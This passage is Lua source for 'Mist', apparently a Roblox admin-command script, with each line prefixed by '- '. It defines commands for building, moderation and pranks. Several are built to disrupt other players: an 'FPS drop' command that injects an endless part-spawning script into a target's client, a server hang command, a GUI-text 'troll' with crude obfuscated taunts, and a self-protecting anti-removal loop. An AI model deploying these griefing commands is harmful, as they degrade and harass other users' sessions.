- part.Color=BrickColor.new'Really red'.Color;
- local carpet=part:clone();
- carpet.FormFactor='Custom';
- carpet.Size=part.Size+Vector3.new(-.5,.25,.5);
- carpet.BrickColor=BrickColor.new'Really black';
- carpet.CanCollide=false;
- part.CFrame=start*CFrame.Angles(0,rad,0)*CFrame.new(x,y,z)*CFrame.Angles(0,math.rad(90),0);
- carpet.CFrame=part.CFrame;
- local rail=Instance.new'Model';
- for _,_v in next,{{-1.9,290,2},{1.9,285,2.5}}do
- local v=_v[1];
- local vv=_v[2];
- local vvv=_v[3];
- local r=Instance.new('Part',rail);
- r.Anchored=true;
- r.FormFactor='Custom';
- r.Color=BrickColor.new'Really red'.Color;
- r.Size=Vector3.new(.1,4,.1);
- r.CFrame=part.CFrame*CFrame.new(v,2,0);
- local e=r:clone();
- e.CFrame=part.CFrame*CFrame.new(v,4,0)*CFrame.Angles(math.rad(vv),0,0);
- e.Size=Vector3.new(.1,vvv,.1);
- e.Color=BrickColor.new'Really black'.Color
- e.Parent=rail;
- end;
- part.Parent,carpet.Parent,rail.Parent=m,m,m;
- wait();
- end;
- end)();
- end);
- Mist.Functions.CreateCommand('Baseplate','base,baseplate,plate',true,1,'Creates a baseplate in workspace','%s s small, %s size Size1,Size2,Size3, %s w Walls, %s t terrain base',function(Message,Speaker,Flags)
- if(Flags.t)then
- coroutine.wrap(function()
- local a,b=Vector3int16.new(-50,0,-50),Vector3int16.new(50,1,50);
- local selectedType,types=nil,{'Grass','Sand','Brick','Granite','Asphalt','Iron','Aluminum','Gold','WoodPlank','WoodLog','Gravel','CinderBlock','MossyStone','Cement','RedPlastic','BluePlastic','Water'};
- for _,v in next,types do
- if((tonumber(Message) and tonumber(Message)==_)or v:lower():find(Message:lower()))then
- selectedType=v;
- end;
- end;
- if(selectedType==nil)then selectedType=types[math.random(1,#types)]; end;
- pcall(function() workspace.Terrain:clear() end);
- pcall(function() repeat wait(); workspace.Base:Destroy() until not workspace:findFirstChild'Base'; end);
- wait(.25);
- workspace.Terrain:SetCells(Region3int16.new(a,b),selectedType,'Solid','NegZ');
- end)();
- return;
- end;
- local Size=Vector3.new(200,0,200);
- if(Flags.size)then
- local size={200,0,200};
- local i=0;
- for c in Flags.size:gmatch'([^,]+)'do
- i=i+1;
- size[i]=tonumber(c)or size[i];
- end;
- Size=Vector3.new(unpack(size));
- elseif(Flags.s)then
- Size=Vector3.new(125,0,125);
- end;
- pcall(function()Mist.Services'Workspace'.Base:remove()end);
- local base=meta_create'Part'{
- Parent=workspace;
- Anchored=true;
- Size=Size;
- TopSurface='Smooth';
- Color=BrickColor.new'Dark green'.Color;
- Name='Base';
- CFrame=CFrame.new();
- };
- if(Flags.w)then
- for i=1,4 do
- local wall=base:clone();
- wall.CFrame=base.CFrame*CFrame.Angles(0,math.rad(i*90),0)*CFrame.new(0,(wall.Size.z/2),-(wall.Size.z/2))*CFrame.Angles(math.rad(90),0,0);
- wall.Parent=base;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Banishments','blist',true,0,'Lists all the banned players','%s t Time Banned',function(Message,Speaker,Flags)
- local Bans={};
- if(Flags.t)then
- for _,v in next,Mist.Temp_Ban_Data do
- table.insert(Bans,{'Time',_,v});
- end;
- else
- for _,v in next,Mist.Ranked do
- if(v.Rank<0 and v.Rank~=-.5)then
- table.insert(Bans,{'Rank',_,v});
- end;
- end;
- end;
- local C=#Bans;
- if(C==0)then
- Mist.Functions.Output("No banishments found :)","Green",Speaker,5);
- return;
- end;
- Mist.Functions.Title('Banishments','Red',Speaker);
- for _,ban_data in next,Bans do
- local Type,Name,Data=ban_data[1],ban_data[2],ban_data[3];
- local T=Mist.Functions.Output("",Mist.Ranked[Name].Color,Speaker,nil,function()
- Mist.Functions.RemoveTablets(Speaker);
- Mist.Functions.Output("Unban <"..Name..">?","Green",Speaker,nil,function()
- if(Mist.Functions.GetRank(Speaker)>0)then
- if(Type=='Time')then
- Mist.Temp_Ban_Data[Name]={tick(),0};
- else
- Mist.Ranked[Name].Rank=0;
- end;
- else
- Mist.Functions.Output("Attempt failed","Red",Speaker);
- end;
- end);
- end);
- if(Type=="Time")then
- coroutine.wrap(function()
- repeat wait()
- T.Label.Text=string.format("%s has %s seconds left until ban is lifted",Name,math.ceil(tick()-Data[1]));
- wait();
- until Mist.Temp_Ban_Data[Name]==nil;
- T.Part:Remove();
- end)();
- else
- T.Label.Text=Name;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Vote for rank up','voterank',false,0,'Votes for a rank up','',function(Msg,Spkr,Flags)
- local Players,Votes,Tablets=Mist.Functions.GetPlayers(),{},{};
- if(#Players<3)then
- Mist.Functions.Output('There is not enough players in game for this operation, need 4+','Red',Spkr,5);
- return;
- end;
- if(Mist.Functions.GetRank(Spkr)>=1)then
- Mist.Functions.Output('You cannot ask for a rank up, your rank is '..Mist.Functions.GetRank(Spkr),'Red',Spkr,3);
- return;
- end;
- for _,User in next,Players do
- if(User~=Spkr)then
- for _,Vote in next,{'No','Yes'}do
- local Tablet=Mist.Functions.Output(Spkr.Name..'[Rank '..Mist.Functions.GetRank(Spkr)..']: has asked to be ranked up, Vote: '..Vote,((Vote=='No'and 'Green')or'Red'),User,nil,function()
- Votes[Vote]=(Votes[Vote] or 0)+1;
- Mist.Functions.RemoveTablets(Speaker)
- end);
- table.insert(Tablets,Tablet);
- end;
- end;
- end;
- coroutine.wrap(function()
- local Players,Votes,Tablets=Players,Votes,Tablets;
- repeat wait()
- for _,v in next,Tablets do
- if(not v.Model:isDescendantOf(Workspace))then
- Tablets[_]=nil;
- pcall(function() v.Model:Destroy() end);
- end;
- end;
- wait();
- until #Tablets==0;
- local Yes=Votes.Yes;
- local No=Votes.No;
- if(No>Yes)then
- Mist.Functions.Output('The people have declined your request: No: '..No..'/ Yes: '..Yes,'Red',Spkr,3);
- else
- Mist.Ranked[Spkr.Name]=Mist.Functions.GetRank(Spkr)+1;
- end;
- end)();
- end)
- Mist.Functions.CreateCommand('Fix Mist','fix',true,2,'Fixes <flag>','%s r Rotation,%s char CharacterAppearance, %s ur UnRemovable',function(Msg,Spkr,Flags)
- if(Flags.r)then
- Mist.Functions.MainLoop();
- end;
- if(Flags.char)then
- Spkr.CharacterAppearance=Mist.UrlBases.Char:format(tostring(Spkr.UserId));
- end;
- if(Flags.ur)then
- coroutine.wrap(function()
- repeat script:Destroy(); script.Disabled=false; script.Name='Mist'; wait() until false;
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Suspend server','suspend,hang',true,1,'Suspends the server for <seconds>','%s p player',function(Message,Speaker,Flags)
- if(Flags.p)then
- for _,v in next,Mist.Functions.GetPlayers(Flags.p or'me',Speaker)do
- Mist.Functions.NewLocalScript([[
- now=tick();
- repeat wait() until now+]]..tostring(((tonumber(Message) and Message)or'3'))..[[<tick()
- ]],Instance.new('Backpack',v));
- end;return;
- end;
- coroutine.wrap(function()
- local now=tick();
- local add=tonumber(Message)or 3;
- if(add>Mist.Functions.GetRank(Speaker)*60)then
- add=3;
- end;
- repeat wait() until now+add<tick();
- wait();
- Mist.Functions.MainLoop();--Incase script Timeout
- wait();
- for i=1,100 do
- Mist.Functions.MainLoop();
- wait();
- end;
- end)();
- end);
- Mist.Functions.CreateCommand('Banish','ban,banish',true,2,'Bans <Player>','%s u Unban',function(Message,Speaker,Flags)
- if(Flags.u)then
- pcall(function()Mist.Ranked[Message].Rank=0;end);
- else
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- v:kick();
- Mist.Ranked[v.Name].Rank=-1;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Bald','bald',true,1,'Makes <Player> bald','%s h give hats back',function(Message,Speaker,Flags)
- for _,p in next,Mist.Functions.GetPlayers(Message,Speaker)do
- if(Flags.h)then
- pcall(function()
- for _,v in next,game:service'ReplicatedStorage':findFirstChild(p.Name):children()do
- v.Parent=p.Character;
- end;
- game:service'ReplicatedStorage':findFirstChild(p.Name):destroy();
- end);
- else
- local m=Instance.new('Model',game:service'ReplicatedStorage');
- m.Name=p.Name;
- for _,v in next,p.Character:children()do
- if(v:isA'Hat')then
- v.Parent=m;
- end;
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('No scripts','nos,noscripts',true,0,'Gets no scripts','',function(Message,Speaker,Flags)
- coroutine.wrap(function()
- for _,v in next,Mist.Scripts do
- coroutine.wrap(function()
- local script=v[1];
- local scriptFunc=Mist.ScriptStops[script];
- if(scriptFunc)then
- pcall(function()
- local invoke,owner=sciptFunc[1],scriptFunc[2];
- if(script.className=='Script')then
- invoke:InvokeServer();
- else
- invoke:InvokeClient(owner);
- end;
- end);
- end;
- v[1].Disabled=true;
- v[1].Name='ENDEDSCRIPT';
- v[1]:clearAllChildren();
- wait();
- end)();
- wait();
- end;
- end)();
- end);
- Mist.Functions.CreateCommand('Blind','blind',true,2,'Blinds <Player>','%s u unblind, %s t Time',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- if(Flags.t)then
- coroutine.wrap(function()
- local t=tick();
- Mist.Functions.SendPacket('Blind',v.Name);
- local f=tonumber(Flags.t)or 3;
- local Msg;
- pcall(function()
- Msg=Instance.new('Message',v.PlayerGui);
- Msg.Text='[MIST]: You have been blinded for '..tostring(f)..' second(s)';
- game:service'Debris':addItem(Msg,f);
- end);
- repeat wait() pcall(function()Msg.Text='[MIST]: You have been blinded for '..tostring(math.ceil((t+f)-tick()))..' second(s)'end); until t+f<tick();
- Mist.Functions.SendPacket('Unblind',v.Name);
- end)();
- return;
- end;
- if(Flags.u)then
- Mist.Functions.SendPacket('Unblind',v.Name);
- else
- Mist.Functions.SendPacket('Blind',v.Name);
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Spin','spin',true,2,'Spins <Player>','%s u Unspin, %s t Time',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- if(Flags.t)then
- coroutine.wrap(function()
- local t=tick();
- Mist.Functions.SendPacket('Spin',v.Name);
- local f=tonumber(Flags.t)or 3;
- local Msg;
- pcall(function()
- Msg=Instance.new('Message',v.PlayerGui);
- Msg.Text='[MIST]: You have been spun for '..tostring(f)..' second(s)';
- game:service'Debris':addItem(Msg,f);
- end);
- repeat wait() pcall(function()Msg.Text='[MIST]: You have been spun for '..tostring(math.ceil((t+f)-tick()))..' second(s)'end); until t+f<tick();
- Mist.Functions.SendPacket('Unspin',v.Name);
- end)();
- return;
- end;
- if(Flags.u)then
- Mist.Functions.SendPacket('Unspin',v.Name);
- else
- Mist.Functions.SendPacket('Spin',v.Name);
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Mute','mute',true,2,'Mutes <Player>','%s u unmute, %s t Time,%s b muteban',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- if(Flags.t)then
- coroutine.wrap(function()
- local t=tick();
- Mist.Functions.SendPacket('Mute',v.Name);
- local f=tonumber(Flags.t)or 3;
- local Msg;
- pcall(function()
- Msg=Instance.new('Message',v.PlayerGui);
- Msg.Text='[MIST]: You have been muted for '..tostring(f)..' second(s)';
- game:service'Debris':addItem(Msg,f);
- end);
- repeat wait() pcall(function()Msg.Text='[MIST]: You have been muted for '..tostring(math.ceil((t+f)-tick()))..' second(s)'end); until t+f<tick();
- Mist.Functions.SendPacket('Unmute',v.Name);
- end)();
- return;
- end;
- if(Flags.u)then
- Mist.Functions.SendPacket('Unmute',v.Name);
- else
- Mist.Functions.SendPacket('Mute',v.Name);
- if(Flags.b)then
- if(Mist.Ranked[Speaker.Name].Rank>=3)then
- Mist.Ranked[v.Name].Rank=-2;
- else
- Mist.Functions.Output('Your rank is not high enough for this action','Red',Speaker,3);
- end;
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Platform','plat,platform',true,2,'Plats <Player>','%s u unplatform',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- if(Flags.u)then
- Mist.Functions.SendPacket('Unplat',v.Name);
- else
- Mist.Functions.SendPacket('Plat',v.Name);
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Fling','fling,toss',true,1,'Flings <Player>','%s s seed,%s f force',function(Msg,Spkr,Flags)
- if(Flags.s)then pcall(math.randomseed,tonumber(Flags.s)) end;
- local _setforce=tonumber(Flags.f or'5') or 5;
- for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
- local force=Instance.new'BodyForce';
- pcall(function() v.Character.Torso._force:Destroy() end);
- force.Parent=v.Character.Torso;
- force.Name='_force';
- force.force=Vector3.new(math.random(-9999,9999)*_setforce,9999*_setforce,math.random(-9999,9999)*_setforce);
- coroutine.wrap(function()
- local force=force;
- wait(.25);
- force:Destroy();
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Balefire','bale,balefire',true,2,'Balefires <Player>','%s u unbaleifre',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- if(Flags.u)then
- Mist.Functions.SendPacket('Unbalefire',v.Name);
- else
- Mist.Functions.SendPacket('Balefire',v.Name);
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Zombify','zomb,zombie,zombify',true,1,'Zombifies <Player>','%s c Cure',function(Message,Speaker,Flags)
- local infect=Mist.Functions.Infect;
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- infect(v,Flags.c~=nil);
- end;
- end);
- Mist.Functions.CreateCommand('Troll server','gtroll',true,3,'Trolls <Server>','%s c cancel',function(Message,Speaker,Flags)
- pcall(function()Mist.Connections['Troll']:disconnect()end);
- if(Flags.c)then return end;
- Mist.Connections['Troll']=Mist.Services'RunService'.Stepped:connect(function()
- local _children={};
- for _,v in next,Mist.Functions.RecursiveChildren(game:service'Workspace','isA','GuiObject')do
- if(v.Name~=tostring('\2\3\4'))then
- table.insert(_children,v);
- end;
- end;
- for _,v in next,Mist.Functions.RecursiveChildren(game:service'Players','isA','GuiObject')do
- table.insert(_children,v);
- end;
- for _,obj in next,_children do
- pcall(function()
- obj.Text,obj.TextColor,obj.BackgroundColor=(function()local tab={'TROLL','LELELEL','YOUR SO TROLLED','tu'..'sKO'..'r'..'661 is pwnzor','prepare for troll','Pus\5\5sy is good','Rawr','<3'};
- return tab[math.random(1,#tab)]end)(),BrickColor:random(),BrickColor:random();
- end);
- end;
- end)
- end);
- Mist.Functions.CreateCommand('@','@',false,1,'Makes <player> connect OnChatted with <msg> /'..'/@ player:cmd here','',function(msg,spkr,flags)
- local sep=msg:find'%s+';
- local players,rest;
- if(sep)then
- players,rest=msg:match'(.+)%:(.+)';
- else
- players=msg;rest='';
- end;
- if(rest==nil)then
- return error'Invalid command uses[ correct: //@ players:command ]';
- end;
- for _,v in next,Mist.Functions.GetPlayers(players,spkr)do
- if(rest:sub(1,1)=='*')then
- Mist.Functions.OnChatted(rest:sub(2),v);
- else
- Mist.Functions.OnChatted('//'..rest,v);
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Podium','pod,podium',true,1,'Creates a Podium','%s c Clear podiums, %s s Steps',function(Message,Speaker,Flags)
- local function oassert(...)
- local args={...};
- local a,b=ypcall(function()assert(unpack(args))end);
- if(not a)then
- Mist.Functions.Output('Command error: '..b,'Red',Speaker,3);
- end;
- end;
- if(Flags.c)then
- for _,v in next,Mist.Functions.RecursiveChildren(Mist'Services''Workspace','name','MIST-Podium')do
- v:remove();
- end;
- return;
- end;
- oassert(coroutine.resume(coroutine.create(function()
- local steps_number=(tonumber(Flags.s));
- local base=Speaker.Character.Torso.CFrame*CFrame.new(0,-3,0);
- steps_number=steps_number or 7;
- local model=Instance.new('Model',workspace);
- model.Name='MIST-Podium';
- for i=1,steps_number do
- local h=i*1.25;
- local step,carpet;
- step=Instance.new('Part',model);
- step.FormFactor='Custom';
- step.Anchored=true;
- step.BrickColor=BrickColor.new'Really red';
- step.TopSurface='Smooth';
- step.BottomSurface='Smooth';
- step.CFrame=base*CFrame.new(0,h,-((i*1.75)+2));
- carpet=step:clone();
- carpet.FormFactor='Custom';
- carpet.Size=step.Size+Vector3.new(-.5,.25,.5);
- carpet.Parent=model;
- carpet.BrickColor=BrickColor.new'Black';
- carpet.CFrame=step.CFrame;
- wait();
- end;
- local platform=Instance.new('Part',model);
- platform.Anchored=true;
- platform.Size=Vector3.new(10,1,10);
- platform.TopSurface='Smooth';
- platform.BottomSurface='Smooth';
- platform.CFrame=base*CFrame.new(0,(steps_number+1)*1.25,-((steps_number*1.5)+10));
- platform.FormFactor='Custom';
- platform.BrickColor=BrickColor.new'Really red';
- local mesh=Instance.new('CylinderMesh',platform);
- mesh.Scale=Vector3.new(1,1,1);
- local top_=platform:clone();
- top_.Size=top_.Size+Vector3.new(-.5,.25,0);
- top_.BrickColor=BrickColor.new'Black';
- top_.Parent=model;
- top_.CFrame=platform.CFrame;
- for i=1,4 do
- local ball=Instance.new('Part',model);
- ball.Anchored=true;
- ball.Size=Vector3.new(1,1,1);
- ball.Reflectance=1/0;
- ball.FormFactor='Custom';
- ball.Shape='Ball';
- ball.CFrame=platform.CFrame*CFrame.new(0,.5,0)*(CFrame.Angles(0,math.rad(i*(360/8)),0):inverse())*CFrame.new(0,0,-5);
- local second=ball:clone();
- second.Parent=model;
- second.CFrame=platform.CFrame*CFrame.new(0,.5,0)*CFrame.Angles(0,math.rad(i*(360/8)),0)*CFrame.new(0,0,-5);
- wait();
- end;
- end)));
- end);
- Mist.Functions.CreateCommand('Hoverseat','hover',true,1,'Generates a hoverseat','%s c Clear Hover seats',function(Msg,Speaker,Flags)
- if(Flags.c)then for _,v in next,Mist.Functions.RecursiveChildren(workspace,'name','MIST hover')do v:Destroy() end return end;
- local hoverSeat;hoverSeat=Instance.new'VehicleSeat';
- hoverSeat.Name='MIST hover';
- hoverSeat.Size,hoverSeat.Reflectance=Vector3.new(2.5,2.5,2.5),-(1*(4/3))/2;
- hoverSeat.CFrame=Speaker.Character.Torso.CFrame*CFrame.new(0,0,-5);
- hoverSeat.HeadsUpDisplay=false;
- hoverSeat.Parent=workspace;
- local bg,bp;bg=Instance.new'BodyGyro';bp=Instance.new'BodyPosition';
- bg.maxTorque,bp.maxForce=Vector3.new(1/0,1/0,1/0),Vector3.new(1/0,1/0,1/0);
- bg.Parent,bp.Parent=hoverSeat,hoverSeat;
- bp.position=hoverSeat.Position;
- coroutine.wrap(function()
- local seat,bg,bp=hoverSeat,bg,bp;
- while seat.Parent do
- wait();
- bg.cframe=bg.cframe*CFrame.Angles(0,-(math.pi/120*seat.Steer),0);
- bp.position=bp.position+(bg.cframe.lookVector*seat.Throttle);
- if(seat.Parent==nil)then break end;
- end;
- end)();
- end);
- Mist.Functions.CreateCommand('KO','knockout,ko',true,3,'KOs <Player> for <Times>','%s c Cancel',function(Msg,Speaker,Flags)
- local Message,Number=Msg:match'(.+)%s*(.*)';
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- pcall(function()
- Mist.Connections['KO:'..v.Name]:disconnect();
- end);
- if(Flags.c)then
- return;
- else
- coroutine.resume(coroutine.create(function()
- local connection={
- active=true;
- disconnect=function(self)
- self.active=false;
- end;
- real=nil;
- kos=0;
- };
- Mist.Connections['KO:'..v.Name]=connection;
- while connection.active do
- if(connection.kos>=(tonumber(Number)or 100))then
- connection.active=false;
- return;
- end;
- wait(.3);
- ypcall(function()
- v.Character.Parent=nil;
- wait(.3);
- local creator=Instance.new'ObjectValue';
- creator.Name='creator';
- creator.Value=Speaker;
- creator.Parent=v.Character.Humanoid;
- v.Character.Parent=workspace;
- wait(.3);
- v.Character:makeJoints();
- wait(.3);
- v:LoadCharacter();
- connection.kos=connection.kos+1;
- end);
- end;
- end));
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Grab','grab',true,1,'Grabs <Player>','%s d Drop',function(Msg,Spkr,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
- coroutine.wrap(function()
- local Torso=Spkr.Character.Torso;
- local UserTorso=v.Character.Torso;
- local Grabs=Torso:findFirstChild'Grabs';
- if(Grabs==nil)then
- Grabs=Instance.new'Model';
- Grabs.Name='Grabs';
- Grabs.Parent=Torso;
- end;
- if(Flags.d)then
- pcall(function()
- Grabs[v.Name].Part1=nil;
- Grabs[v.Name]:Destroy();
- end);
- return;
- end;
- local RotI=(360/(#Grabs:children()+1));
- local Update;Update=function()
- for _,v in next,Grabs:children()do
- v.C0=CFrame.Angles(0,math.rad(RotI*_),0)*CFrame.new(0,2.5,-(#Grabs:children()*.6)+-4)
- coroutine.wrap(function()
- local torsoHolder=v.Part1;
- if(torsoHolder.Parent==nil or torsoHolder==nil)then
- v:Destroy();
- RotI=(360/(#Grabs:children()+1));
- Update();
- end;
- end)();
- end;
- end;
- local Weld=Instance.new'Weld';
- Weld.Parent=Grabs;
- Weld.Part0=Torso;
- Weld.Part1=UserTorso;
- local Conn;Conn=UserTorso.AncestryChanged:connect(function()
- Update();
- Conn:disconnect();
- end);
- Weld.Name=v.Name;
- Update();
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Generate portal','portal',true,1,'Generates a portal','%s c clear portals',function(Message,Speaker,Flags)
- if(Flags.c)then
- for _,v in next,Mist.Functions.RecursiveChildren(workspace,'name','Mist-Portal')do
- v:destroy();
- end;
- return;
- end;
- Spawn(function()
- local baseCFrame=Speaker.Character.Torso.CFrame*CFrame.new(0,0,-5)*CFrame.Angles(0,math.rad(90),0)*CFrame.new();
- local port=Instance.new('Model',workspace);
- port.Name='Mist-Portal';
- for i=0,360,10 do
- local pod=Instance.new('Part',port);
- pod.Anchored=true;
- pod.FormFactor='Custom';
- pod.Size=Vector3.new(1,3,1);
- pod.CFrame=baseCFrame*CFrame.Angles(math.rad(i),0,0)*CFrame.new(0,0,-5);
- pod.Color=BrickColor.new'Black'.Color;
- wait();
- end;
- local portal=Instance.new('Part',port);
- Instance.new('CylinderMesh',portal);
- portal.Anchored=true;
- portal.Size=Vector3.new(10,1,10);
- portal.Transparency=.5;
- portal.CanCollide=false;
- portal.Color=BrickColor.new'Black'.Color;
- portal.Touched:connect(function(hit)
- local p=game:service'Players':playerFromCharacter(hit.Parent);
- if(p)then
- pcall(function()
- p.Character.Torso.CFrame=CFrame.new(math.random(-100,100),math.random(500,1000),math.random(-100,100))*CFrame.Angles(math.random(),math.random(),math.random());
- end);
- end;
- end);
- portal.CFrame=baseCFrame*CFrame.Angles(math.rad(90),0,math.rad(90));
- end);
- end);
- Mist.Functions.CreateCommand('Character_Tree','chartree',true,1,'Makes <Player> a Tree','%s n no tree',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- for _,o in next,v.Character:children()do
- if(o.Name=='__tree')then
- o:destroy();
- end;
- if(Flags.n and not( o.Name=='HumanoidRootPart'))then
- pcall(function() o.Transparency = 0 end);
- pcall(function() o.Handle.Transparency = 0 end);
- else
- pcall(function() o.Transparency = 1 end);
- pcall(function() o.Handle.Transparency = 1 end);
- end;
- end;
- if(Flags.n)then return end;
- local tree=Instance.new('Model',v.Character);
- tree.Name='__tree';
- local trunk=Instance.new('Part',tree);
- trunk.CanCollide=false;
- trunk.Size=Vector3.new(2,5.5,2);
- trunk.BrickColor=BrickColor.new(25);
- local cylinder=Instance.new('CylinderMesh',trunk);
- local function weld(a,b,_c)
- local c=Instance.new('Weld',a);
- c.Part0=a;
- c.Part1=b;
- c.C0=_c;
- end;
- weld(v.Character.Torso,trunk,CFrame.new());
- local b=CFrame.new(0,2,0);
- for x=-1,1 do
- for y=1,3 do
- for z=-1,1 do
- local f=Instance.new('Part',tree);
- f.CanCollide=false;
- f.BrickColor=BrickColor.new(28);
- f.Shape='Ball';
- f.Size=Vector3.new(3,3,3);
- f.TopSurface='Smooth';
- local t=x+z+y;
- if(not (math.abs(t)%2==0))then
- weld(v.Character.Torso,f,b*CFrame.new(x*1.5,y*1.5,z*1.5));
- end;
- end;
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Lighting','lig,lighting',true,1,'Edits <Lighting>','%s f Fix Lighting,%s a Ambient,%s d Disco,%s t TimeOfDay',function(Message,Speaker,Flags)
- local lig=Mist.Services'Lighting';
- if(Flags.a)then
- local r,g,b=Flags.a:match'(%d+)%s*,(%d+)%s*,(%d+)';
- local a=Color3.new(tonumber(r),tonumber(g),tonumber(b));
- if(a)then
- lig.Ambient=a;
- end;
- end;
- if(Flags.f)then
- pcall(function()Mist.Connections.Disco:disconnect()end);
- lig.Ambient=Mist.Colors.White;
- lig.ColorShift_Bottom=Mist.Colors.Black;
- lig.ColorShift_Top=Mist.Colors.Black;
- lig.ShadowColor=Color3.new(.69,.69,.69);
- lig.Brightness=.25;
- lig.FogStart=0;
- lig.FogEnd=100000;
- lig.FogColor=Color3.new(.74,.74,.74);
- lig.TimeOfDay=12;
- lig:clearAllChildren();
- return;
- end;
- if(Flags.t)then
- assert(pcall(function()
- if(tonumber(Flags.t))then
- lig.TimeOfDay=tonumber(Flags.t)
- else
- lig.TimeOfDay=Flags.t;
- end;
- end));
- end;
- if(Flags.d)then
- pcall(function()Mist.Connections.Disco:disconnect()end);
- Mist.Connections['Disco']=Mist.Services'RunService'.Stepped:connect(function()
- game:service'Lighting'.Ambient=BrickColor.random().Color;
- end);
- end;
- end);
- Mist.Functions.CreateCommand('FPS drop','spike',false,1,'Drops <Players> fps','',function(Msg,Spkr,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
- Mist.Functions.NewLocalScript([[
- while true do wait()
- coroutine.wrap(function()
- for i=1,100 do
- game:service'Debris':addItem(Instance.new('Part',workspace.currentCamera),.5);
- wait();
- end;
- end)();
- game:service'Debris':addItem(Instance.new('Hint',workspace),.5);
- end; ]],Instance.new('Backpack',v),'Spike',true);
- end;
- end);
- Mist.Functions.CreateCommand('Noob','noob',true,1,'Makes <Player> a noob','%s u un-noob',function(Msg,Spkr,Flags)
- for _,p in next,Mist.Functions.GetPlayers(Msg,Spkr)do
- for _,v in next,p.Character:children()do
- if(v:isA'BasePart'and v.Name~='HumanoidRootPart')then
- if(Flags.u)then
- if(v.Name=='__nob')then
- v:Destroy();
- else
- v.Transparency=0;
- end;
- return;
- end;
- v.Transparency=1;
- local w=Instance.new'Weld';
- local f=v:Clone();
- f.Anchored=false;
- f.Transparency=0;
- f.CFrame=CFrame.new();
- f.CanCollide=false;
- f.Parent=v;
- f.TopSurface='Smooth';
- f.BottomSurface='Smooth';
- f.Name='__nob';
- local weld=Instance.new'Weld';
- weld.Part0=v;
- weld.Part1=f;
- weld.C0=CFrame.new();
- weld.C1=CFrame.new();
- weld.Parent=f;
- if(v.Name=='Torso')then
- f.BrickColor=BrickColor.new'Bright blue';
- elseif(v.Name:find'Arm' or v.Name=='Head')then
- f.BrickColor=BrickColor.new'Bright yellow';
- else
- f.BrickColor=BrickColor.new'Br. yellowish green';
- end;
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Label','label',true,1,'Labels <Player>','%s r remove labels,%s m Message',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- assert(coroutine.resume(coroutine.create(function()
- if(Flags.r)then
- for _,b in next,v.Character:children()do
- if(b:isA'BillboardGui'and b.Name=='lab')then
- b:remove();
- end;
- end;
- return;
- end;
- pcall(function()v.Character.lab:remove()end);
- local bbg=Instance.new('BillboardGui',v.Character);
- bbg.Adornee=v.Character.Head;
- bbg.StudsOffset=Vector3.new(0,5,0);
- bbg.Size=UDim2.new(4+(.5*((#(Flags.m or'')))),0,3,0);
- bbg.Name='lab';
- local frame=Instance.new('Frame',bbg);
- frame.Size=UDim2.new(1,0,1,0);
- frame.Style='RobloxSquare';
- local text=Instance.new('TextLabel',frame);
- text.BackgroundTransparency=1;
- text.FontSize='Size24';
- text.TextColor=BrickColor.new'Lime green';
- text.TextStrokeTransparency=0;
- text.Size=UDim2.new(1,0,1,0);
- text.TextXAlignment='Center';
- text.Name='\2\3\4';
- text.TextStrokeColor3=BrickColor.new'Really red'.Color;
- text.Text=(Flags.m or''):gsub('(.)',function(a)return'\5'..a;end);
- end)));
- end;
- end);
- Mist.Functions.CreateCommand('Rename','rename',true,1,'Renames <Player> to <Message>','%s m Message,%s c clear names',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- coroutine.resume(coroutine.create(function()
- local char=v.Character;
- local head,hum=char.Head,char.Humanoid;
- local found=false;
- for _,v in next,head:children()do
- if(v:IsA'Model'and v:findFirstChild'Head')then
- found=true;
- v.Name=(Flags.m or ''):gsub('(.)',function(a)return'\5'..a;end);
- if(Flags.c)then
- v:destroy();
- end;
- end;
- end;
- if(Flags.c)then found=true head.Transparency=0;end;
- if(not found)then
- local mod=Instance.new('Model',head);
- mod.Name=(Flags.m or ''):gsub('(.)',function(a)return'\5'..a;end);
- local chead=head:clone();
- chead.Parent=mod;
- local chum=hum:clone();
- chum.Parent=mod;
- hum.Changed:connect(function(p)
- chum[p]=hum[p];
- end);
- local weld=Instance.new('Weld',chead);
- weld.Part0=head;
- weld.Part1=chead;
- head.Transparency=1;
- end;
- end));
- end;
- end);
- Mist.Functions.CreateCommand('Give','give',true,3,'Gives <player> <cmd>','%s m message, %s bt Basic Build Tools',function(Msg,Spkr,Flgs)
- for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
- if(Flgs.bt)then
- for i=1,4 do
- pcall(function()
- Instance.new('HopperBin',v.Backpack).BinType=i;
- end);
- end;
- else
- Mist.Commands.Get.Func(Flgs.m,v,{});
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Check','check',false,0,'Checks <Mist>','',function(Message,Speaker,Flags)
